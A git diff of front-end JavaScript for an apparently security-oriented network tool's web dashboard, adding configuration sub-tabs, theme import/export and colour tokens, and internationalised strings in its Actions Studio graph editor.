'__title_vuln__': 'security', + '__title_lists__': 'security', + '__title_runtime__': 'system', + '__title_power__': 'system', + '__title_sentinel__': 'security', + '__title_bifrost__': 'network', + '__title_loki__': 'security', +}; + +const SUB_TABS = [ + { id: 'core', icon: '\u2699', label: 'Core' }, + { id: 'network', icon: '\uD83C\uDF10', label: 'Network' }, + { id: 'actions', icon: '\u26A1', label: 'Actions' }, + { id: 'display', icon: '\uD83D\uDDA5', label: 'Display' }, + { id: 'ai', icon: '\uD83E\uDDE0', label: 'AI / RL' }, + { id: 'security', icon: '\uD83D\uDD12', label: 'Security' }, + { id: 'system', icon: '\uD83D\uDD27', label: 'System' }, +]; + let _host = null; let _lastConfig = null; +let _activeSubTab = 'core'; function resolveTooltips(config) { const tips = config?.__tooltips_i18n__; @@ -260,41 +301,114 @@ function createSectionCard(title) { ]); } +/* ── Sub-tab navigation bar ── */ +function createSubTabBar(onSwitch) { + const nav = el('nav', { class: 'cfg-subtabs' }); + for (const tab of SUB_TABS) { + const btn = el('button', { + class: `cfg-subtab${tab.id === _activeSubTab ? ' active' : ''}`, + 'data-subtab': tab.id, + type: 'button', + }, [`${tab.icon}\u00A0${tab.label}`]); + nav.appendChild(btn); + } + nav.addEventListener('click', (e) => { + const btn = e.target.closest('.cfg-subtab'); + if (!btn) return; + const id = btn.dataset.subtab; + if (id === _activeSubTab) return; + _activeSubTab = id; + nav.querySelectorAll('.cfg-subtab').forEach(b => b.classList.toggle('active', b.dataset.subtab === id)); + onSwitch(id); + }); + return nav; +} + function render(config) { if (!_host) return; empty(_host); ensureChipHelpers(); const tooltips = resolveTooltips(config); - const togglesCard = createSectionCard(t('settings.toggles')); - const togglesBody = togglesCard.querySelector('.cfg-card-body'); - const cardsGrid = el('div', { class: 'cfg-cards-grid' }); + /* Buckets: one per sub-tab, each with a toggles card + section cards */ + const buckets = {}; + for (const tab of SUB_TABS) { + buckets[tab.id] = { + togglesBody: null, + togglesCard: null, + cardsGrid: el('div', { class: 'cfg-cards-grid' }), + currentCard: null, + pane: el('div', { class: 'cfg-subtab-pane', 'data-pane': tab.id }), + }; + } + + /* Helper: lazily create the toggles card for a bucket */ + const ensureToggles = (b) => { + if (!b.togglesCard) { + b.togglesCard = createSectionCard(t('settings.toggles')); + b.togglesBody = b.togglesCard.querySelector('.cfg-card-body'); + } + }; + + let currentTabId = 'core'; // default bucket for fields before first __title_* - let currentCard = null; for (const [key, value] of Object.entries(config || {})) { if (key.startsWith('__')) { if (key.startsWith('__title_')) { - if (currentCard) cardsGrid.appendChild(currentCard); - currentCard = createSectionCard(String(value).replace('__title_', '').replace(/__/g, '')); + /* Close previous card if any */ + const prevBucket = buckets[currentTabId]; + if (prevBucket.currentCard) { + prevBucket.cardsGrid.appendChild(prevBucket.currentCard); + prevBucket.currentCard = null; + } + /* Switch to the right bucket */ + currentTabId = SECTION_TO_TAB[key] || 'core'; + const bucket = buckets[currentTabId]; + const sectionName = String(value).replace('__title_', '').replace(/__/g, ''); + bucket.currentCard = createSectionCard(sectionName); } continue; } + const bucket = buckets[currentTabId]; const tooltipI18nKey = String(tooltips[key] || ''); + if (typeof value === 'boolean') { - togglesBody.appendChild(createBooleanField(key, value, tooltipI18nKey)); + ensureToggles(bucket); + bucket.togglesBody.appendChild(createBooleanField(key, value, tooltipI18nKey)); continue; } - if (!currentCard) currentCard = createSectionCard(t('settings.general')); - const body = currentCard.querySelector('.cfg-card-body'); + + if (!bucket.currentCard) bucket.currentCard = createSectionCard(t('settings.general')); + const body = bucket.currentCard.querySelector('.cfg-card-body'); if (Array.isArray(value)) body.appendChild(createListField(key, value, tooltipI18nKey)); else if (typeof value === 'number') body.appendChild(createNumberField(key, value, tooltipI18nKey)); else body.appendChild(createStringField(key, value, tooltipI18nKey)); } - if (currentCard) cardsGrid.appendChild(currentCard); - _host.appendChild(togglesCard); - _host.appendChild(cardsGrid); + /* Finalize all buckets */ + for (const tab of SUB_TABS) { + const b = buckets[tab.id]; + if (b.currentCard) b.cardsGrid.appendChild(b.currentCard); + if (b.togglesCard) b.pane.appendChild(b.togglesCard); + if (b.cardsGrid.children.length) b.pane.appendChild(b.cardsGrid); + } + + /* Build sub-tab bar */ + const showPane = (id) => { + _host.querySelectorAll('.cfg-subtab-pane').forEach(p => { + p.hidden = p.dataset.pane !== id; + }); + }; + const subTabBar = createSubTabBar(showPane); + _host.appendChild(subTabBar); + + /* Append all panes */ + for (const tab of SUB_TABS) { + const b = buckets[tab.id]; + b.pane.hidden = tab.id !== _activeSubTab; + _host.appendChild(b.pane); + } } function collect() { @@ -371,6 +485,3 @@ export function mountConfig(host) { export function hasLoadedConfig() { return !!_lastConfig; } - - - diff --git a/web/js/core/theme.js b/web/js/core/theme.js index f414bef..7344eb6 100644 --- a/web/js/core/theme.js +++ b/web/js/core/theme.js @@ -7,6 +7,8 @@ * - User custom overrides persisted to localStorage * - Theme editor with color pickers + raw CSS textarea * - Icon pack switching via icon registry + * - Import / Export themes as JSON + * - Live preview: overlay disabled while Theme tab is active */ import { t } from './i18n.js'; @@ -29,9 +31,17 @@ const DEFAULT_THEME = { '--accent-2': '#18d6ff', '--c-border': '#00ffff22', '--c-border-strong': '#00ffff33', + '--c-border-hi': '#00ffff44', '--panel': '#0e1717', '--panel-2': '#101c1c', '--c-panel': '#0b1218', + '--c-panel-2': '#0a1118', + '--c-btn': '#0d151c', + '--switch-track': '#111111', + '--switch-on-bg': '#022a1a', + '--sb-track': '#07121a', + '--sb-thumb': '#09372b', + '--glass-8': '#00000088', '--radius': '14px' }; @@ -41,9 +51,13 @@ const TOKEN_GROUPS = [ label: 'theme.group.colors', tokens: [ { key: '--bg', label: 'theme.token.bg', type: 'color' }, + { key: '--bg-2', label: 'theme.token.bg2', type: 'color' }, { key: '--ink', label: 'theme.token.ink', type: 'color' }, + { key: '--muted', label: 'theme.token.muted', type: 'color' }, { key: '--acid', label: 'theme.token.accent1', type: 'color' }, { key: '--acid-2', label: 'theme.token.accent2', type: 'color' }, + { key: '--accent', label: 'theme.token.accent', type: 'color' }, + { key: '--accent-2', label: 'theme.token.accentAlt', type: 'color' }, { key: '--danger', label: 'theme.token.danger', type: 'color' }, { key: '--warning', label: 'theme.token.warning', type: 'color' }, { key: '--ok', label: 'theme.token.ok', type: 'color' }, @@ -55,7 +69,26 @@ const TOKEN_GROUPS = [ { key: '--panel', label: 'theme.token.panel', type: 'color' }, { key: '--panel-2', label: 'theme.token.panel2', type: 'color' }, { key: '--c-panel', label: 'theme.token.ctrlPanel', type: 'color' }, + { key: '--c-panel-2', label: 'theme.token.ctrlPanel2', type: 'color' }, + { key: '--c-btn', label: 'theme.token.btnBg', type: 'color' }, + ] + }, + { + label: 'theme.group.borders', + tokens: [ { key: '--c-border', label: 'theme.token.border', type: 'color' }, + { key: '--c-border-strong', label: 'theme.token.borderStrong', type: 'color' }, + { key: '--c-border-hi', label: 'theme.token.borderHi', type: 'color' }, + ] + }, + { + label: 'theme.group.controls', + tokens: [ + { key: '--switch-track', label: 'theme.token.switchTrack', type: 'color' }, + { key: '--switch-on-bg', label: 'theme.token.switchOnBg', type: 'color' }, + { key: '--sb-track', label: 'theme.token.scrollTrack', type: 'color' }, + { key: '--sb-thumb', label: 'theme.token.scrollThumb', type: 'color' }, + { key: '--glass-8', label: 'theme.token.glass', type: 'color' }, ] }, { @@ -144,6 +177,60 @@ export function getCurrentOverrides() { return { ...DEFAULT_THEME, ..._userOverrides }; } +/* -- Import / Export -- */ + +/** Export current theme as JSON string */ +export function exportTheme() { + return JSON.stringify(_userOverrides, null, 2); +} + +/** Import theme from JSON string */ +export function importTheme(json) { + try { + const parsed = JSON.parse(json); + if (typeof parsed !== 'object' || Array.isArray(parsed)) throw new Error('Invalid'); + _userOverrides = parsed; + persist(); + applyToDOM(); + return true; + } catch { + return false; + } +} + +/* -- Overlay management for live preview -- */ + +let _overlayWasVisible = false; + +/** Disable the settings backdrop overlay so theme changes are visible live */ +export function disableOverlay() { + const backdrop = document.getElementById('settingsBackdrop'); + if (!backdrop) return; + _overlayWasVisible = true; + backdrop.style.background = 'transparent'; + const modal = backdrop.querySelector('.modal'); + if (modal) { + modal.style.boxShadow = '0 0 0 2px var(--acid), 0 20px 60px rgba(0,0,0,.6)'; + modal.style.maxHeight = '70vh'; + modal.style.overflow = 'auto'; + } +} + +/** Restore the overlay when leaving theme tab */ +export function restoreOverlay() { + if (!_overlayWasVisible) return; + const backdrop = document.getElementById('settingsBackdrop'); + if (!backdrop) return; + backdrop.style.background = ''; + const modal = backdrop.querySelector('.modal'); + if (modal) { + modal.style.boxShadow = ''; + modal.style.maxHeight = ''; + modal.style.overflow = ''; + } + _overlayWasVisible = false; +} + /* -- Icon registry -- */ /** @@ -180,6 +267,9 @@ export function setIconPack(name) { export function mountEditor(container) { container.innerHTML = ''; + /* Disable overlay for live preview */ + disableOverlay(); + const current = getCurrentOverrides(); // Color pickers grouped @@ -243,17 +333,61 @@ export function mountEditor(container) { }); advSection.appendChild(applyBtn); - // Reset button + container.appendChild(advSection); + + // Import / Export / Reset buttons + const actionsRow = document.createElement('div'); + actionsRow.className = 'theme-actions'; + + const exportBtn = document.createElement('button'); + exportBtn.className = 'btn btn-sm'; + exportBtn.textContent = t('theme.export'); + exportBtn.addEventListener('click', () => { + const blob = new Blob([exportTheme()], { type: 'application/json' }); + const url = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = url; + a.download = 'bjorn-theme.json'; + a.click(); + URL.revokeObjectURL(url); + }); + actionsRow.appendChild(exportBtn); + + const importBtn = document.createElement('button'); + importBtn.className = 'btn btn-sm'; + importBtn.textContent = t('theme.import'); + importBtn.addEventListener('click', () => { + const input = document.createElement('input'); + input.type = 'file'; + input.accept = '.json'; + input.addEventListener('change', () => { + const file = input.files?.[0]; + if (!file) return; + const reader = new FileReader(); + reader.onload = () => { + const ok = importTheme(reader.result); + if (ok) { + mountEditor(container); + } else { + alert(t('theme.importError')); + } + }; + reader.readAsText(file); + }); + input.click(); + }); + actionsRow.appendChild(importBtn); + const resetBtn = document.createElement('button'); resetBtn.className = 'btn btn-sm btn-danger'; resetBtn.textContent = t('theme.reset'); resetBtn.addEventListener('click', () => { resetToDefault(); - mountEditor(container); // Re-render editor + mountEditor(container); }); - advSection.appendChild(resetBtn); + actionsRow.appendChild(resetBtn); - container.appendChild(advSection); + container.appendChild(actionsRow); } /** Parse raw CSS var declarations from textarea */ diff --git a/web/js/pages/actions-studio-runtime.js b/web/js/pages/actions-studio-runtime.js index 3cd0a2d..1c05629 100644 --- a/web/js/pages/actions-studio-runtime.js +++ b/web/js/pages/actions-studio-runtime.js @@ -2,6 +2,8 @@ * Actions Studio runtime for SPA mode. * Keeps graph behavior from original studio while running inside route mount/unmount lifecycle. */ +import { t } from '../core/i18n.js'; + export function mountStudioRuntime(__root) { const tracked = []; const nativeAdd = EventTarget.prototype.addEventListener; @@ -132,15 +134,15 @@ async function saveToStudio(){ state.nodes.forEach((n,id)=> data.nodes.push({id,...n})); try{ const r = await fetch(`${API_BASE}/studio/save`,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(data)}); - if(!r.ok) throw 0; toast('Sauvegardé','success'); + if(!r.ok) throw 0; toast(t('studio.saved'),'success'); }catch{ localStorage.setItem('bjorn_studio_backup', JSON.stringify(data)); - toast('Sauvegarde locale (DB indisponible)','warn'); + toast(t('studio.localBackup'),'warn'); } } async function applyToRuntime(){ - try{ const r = await fetch(`${API_BASE}/studio/apply`,{method:'POST'}); if(!r.ok) throw 0; toast('Appliqué au runtime','success'); } - catch{ toast('Apply runtime échoué','error'); } + try{ const r = await fetch(`${API_BASE}/studio/apply`,{method:'POST'}); if(!r.ok) throw 0; toast(t('studio.applied'),'success'); } + catch{ toast(t('studio.applyFailed'),'error'); } } /* ===================== Helpers UI ===================== */ @@ -199,7 +201,7 @@ function buildPalette(){ if (!visibleCount) { const empty = document.createElement('div'); empty.className = 'small'; - empty.textContent = 'No actions match this filter.'; + empty.textContent = t('studio.noActionsMatch'); list.appendChild(empty); } const total = arr.length; @@ -237,13 +239,13 @@ function buildHostPalette(){ if (!visibleReal) { const empty = document.createElement('div'); empty.className = 'small'; - empty.textContent = 'No real hosts match this filter.'; + empty.textContent = t('studio.noRealHostsMatch'); real.appendChild(empty); } if (!visibleTest) { const empty = document.createElement('div'); empty.className = 'small'; - empty.textContent = 'No test hosts yet.'; + empty.textContent = t('studio.noTestHostsYet'); test.appendChild(empty); } const allHosts = [...state.hosts.values()]; @@ -848,7 +850,7 @@ function autoLayout(){ // à la fin d'autoLayout(): repelLayout(6, 0.4); // applique aussi le snap vertical des hosts - toast('Auto-layout appliqué','success'); + toast(t('studio.autoLayoutApplied'),'success'); } /* ===================== Inspectors ===================== */ @@ -1240,8 +1242,8 @@ $('#mAutoLayout')?.addEventListener('click',()=>{ $('#mainMenu').style.display=' $('#mRepel')?.addEventListener('click',()=>{ $('#mainMenu').style.display='none'; repelLayout(); }); $('#mFit')?.addEventListener('click',()=>{ $('#mainMenu').style.display='none'; fitToScreen(); }); $('#mHelp')?.addEventListener('click',()=>{ $('#mainMenu').style.display='none'; setHelpModalOpen(true); }); -$('#mImportdbActions').addEventListener('click',()=>{ $('#mainMenu').style.display='none'; toast('Import Actions DB - TODO','warn'); }); -$('#mImportdbActionsStudio').addEventListener('click',()=>{ $('#mainMenu').style.display='none'; toast('Import Studio DB - TODO','warn'); }); +$('#mImportdbActions').addEventListener('click',()=>{ $('#mainMenu').style.display='none'; toast(t('studio.importActionsDb') + ' - TODO','warn'); }); +$('#mImportdbActionsStudio').addEventListener('click',()=>{ $('#mainMenu').style.display='none'; toast(t('studio.importStudioDb') + ' - TODO','warn'); }); $('#btnHideCanvasHint')?.addEventListener('click',()=>{ const p = loadPrefs(); savePrefsNow({ ...p, hideCanvasHint: true }); @@ -1299,7 +1301,7 @@ $('#btnUpdateAction').addEventListener('click',()=>{ const tt=$('#t_type').value, tp=$('#t_param').value.trim(); a.b_trigger=tp?`${tt}:${tp}`:tt; const el=$(`[data-id="${state.selected}"]`); if(el){ el.className=`node ${a.b_action==='global'?'global':''}`; el.querySelector('.badge').textContent=a.b_action||'normal'; el.querySelector('.v.trigger').textContent=summTrig(a.b_trigger||''); el.querySelector('.v.requires').textContent=requireSummary(a); } - LinkEngine.render(); toast('Action mise à jour','success'); + LinkEngine.render(); toast(t('studio.actionUpdated'),'success'); }); $('#btnDeleteNode').addEventListener('click',()=>{ if(state.selected) deleteNode(state.selected); }); @@ -1308,7 +1310,7 @@ $('#btnUpdateHost').addEventListener('click',()=>{ h.hostname=$('#h_hostname').value.trim(); h.ips=$('#h_ips').value.trim(); h.ports=$('#h_ports').value.trim(); h.alive=parseInt($('#h_alive').value); h.essid=$('#h_essid').value.trim(); h.services=$('#h_services').value.trim(); h.vulns=$('#h_vulns').value.trim(); h.creds=$('#h_creds').value.trim(); const el=$(`[data-id="${state.selected}"]`); if(el){ el.querySelector('.nname').textContent=h.hostname||h.ips||h.mac_address; const rows=el.querySelectorAll('.nbody .row .v'); if(rows[0]) rows[0].textContent=h.ips||'—'; if(rows[1]) rows[1].textContent=h.ports||'—'; if(rows[2]) rows[2].textContent=h.alive?'🟢':'🔴'; } - LinkEngine.render(); toast('Host mis à jour','success'); + LinkEngine.render(); toast(t('studio.hostUpdated'),'success'); }); $('#btnDeleteHost').addEventListener('click',()=>{ if(state.selected) deleteNode(state.selected); }); @@ -1320,16 +1322,16 @@ window.addHostToCanvas=function(mac){ else{ const rect=$('#center').getBoundingClientRect(); const x=80; const y=(rect.height/2 - state.pan.y)/state.pan.scale - 60; addHostNode(h,x,y); LinkEngine.render(); } }; window.deleteTestHost=function(mac){ - if(!confirm('Delete this test host?')) return; - state.hosts.delete(mac); const ids=[]; state.nodes.forEach((n,id)=>{ if(n.type==='host'&&n.data.mac_address===mac) ids.push(id); }); ids.forEach(id=>deleteNode(id)); buildHostPalette(); toast('Test host supprimé','success'); + if(!confirm(t('studio.deleteTestHost'))) return; + state.hosts.delete(mac); const ids=[]; state.nodes.forEach((n,id)=>{ if(n.type==='host'&&n.data.mac_address===mac) ids.push(id); }); ids.forEach(id=>deleteNode(id)); buildHostPalette(); toast(t('studio.testHostDeleted'),'success'); }; window.openHostModal=function(){ $('#hostModal').classList.add('show'); }; window.closeHostModal=function(){ $('#hostModal').classList.remove('show'); }; window.createTestHost=function(){ const mac=$('#new_mac').value.trim() || `AA:BB:CC:${Math.random().toString(16).slice(2,8).toUpperCase()}`; - if(state.hosts.has(mac)){ toast('MAC existe déjà','error'); return; } + if(state.hosts.has(mac)){ toast(t('studio.macExists'),'error'); return; } const host={ mac_address:mac, hostname:$('#new_hostname').value.trim()||'test-host', ips:$('#new_ips').value.trim()||'', ports:$('#new_ports').value.trim()||'', services:$('#new_services').value.trim()||'[]', vulns:$('#new_vulns').value.trim()||'', creds:$('#new_creds').value.trim()||'[]', alive:parseInt($('#new_alive').value)||1, is_simulated:1 }; - state.hosts.set(mac,host); buildHostPalette(); closeHostModal(); toast('Test host créé','success'); addHostToCanvas(mac); + state.hosts.set(mac,host); buildHostPalette(); closeHostModal(); toast(t('studio.testHostCreated'),'success'); addHostToCanvas(mac); }; $('#btnCreateHost').addEventListener('click',openHostModal); $('#mAddHost').addEventListener('click',openHostModal); @@ -1426,7 +1428,7 @@ async function init(){ applyPanZoom(); LinkEngine.render(); updateStats(); - toast('Studio loaded','success'); + toast(t('studio.saved'),'success'); } init(); diff --git a/web/js/pages/actions-studio.js b/web/js/pages/actions-studio.js index 0bb6516..366b291 100644 --- a/web/js/pages/actions-studio.js +++ b/web/js/pages/actions-studio.js @@ -13,74 +13,74 @@ function studioTemplate() {
-

BJORN Studio

+

${t('studio.title')}

- - - - - - + + + + + + -
+
-
-
-
success
-
failure
-
requires
-
Pinch/scroll = zoom, drag = pan, connect ports to create links
-
0 nodes, 0 links
+
${t('studio.success')}
+
${t('studio.failure')}
+
${t('studio.requires')}
+
${t('studio.pinchHint')}
+
0 ${t('studio.nodesCount')}, 0 ${t('studio.linksCount')}
-
Edit...
-
Success
-
Failure
-
Requires
-
Delete
+
${t('common.edit')}...
+
${t('studio.success')}
+
${t('studio.failure')}
+
${t('studio.requires')}
+
${t('common.delete')}